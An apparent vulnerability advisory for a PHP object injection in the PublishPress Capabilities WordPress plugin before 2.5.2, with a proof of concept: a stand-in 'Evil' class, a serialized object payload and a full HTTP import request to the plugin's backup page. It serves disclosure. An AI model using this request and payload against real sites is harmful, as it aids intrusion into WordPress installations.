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wpexploitNguyen Pham Viet NamWPEX-ID:72639924-E7A7-4F7D-BD50-015D05FFD4FB
HistoryOct 10, 2022 - 12:00 a.m.

PublishPress Capabilities < 2.5.2 - Admin+ PHP Objection Injection

2022-10-1000:00:00
Nguyen Pham Viet Nam
70
php injection
security vulnerability
wordpress plugin

EPSS

0.001

Percentile

42.9%

The plugin unserializes the content of imported files, which could lead to PHP object injection attacks by administrators, on multisite WordPress configurations. Successful exploitation in this case requires other plugins with a suitable gadget chain to be present on the site.

To simulate a gadget chain, put the following code in a plugin

class Evil {
  public function __wakeup() : void {
    die("Arbitrary deserialization");
  }
}

Create a file named settings.json with the following content and import if: O:4:"Evil":0:{};

POST /wp-admin/admin.php?page=pp-capabilities-backup HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/wordpress/wp-admin/admin.php?page=pp-capabilities-backup
Content-Type: multipart/form-data; boundary=---------------------------293588204025713533762090348603
Content-Length: 1198
Connection: close
Cookie: [admin+]
Upgrade-Insecure-Requests: 1

-----------------------------293588204025713533762090348603
Content-Disposition: form-data; name="_wpnonce"

9ca77a826e
-----------------------------293588204025713533762090348603
Content-Disposition: form-data; name="_wp_http_referer"

/wordpress/wp-admin/admin.php?page=pp-capabilities-backup
-----------------------------293588204025713533762090348603
Content-Disposition: form-data; name="pp_capabilities_export_section[]"

user_roles
-----------------------------293588204025713533762090348603
Content-Disposition: form-data; name="pp_capabilities_export_section[]"

capsman_editor_features_backup
-----------------------------293588204025713533762090348603
Content-Disposition: form-data; name="pp_capabilities_export_section[]"

capsman_admin_features_backup
-----------------------------293588204025713533762090348603
Content-Disposition: form-data; name="import_file"; filename="capabilities-export-2022-09-27_3-28-28_am.json"
Content-Type: application/json

O:4:"Evil":0:{};
-----------------------------293588204025713533762090348603
Content-Disposition: form-data; name="import_backup"

Import
-----------------------------293588204025713533762090348603--

EPSS

0.001

Percentile

42.9%

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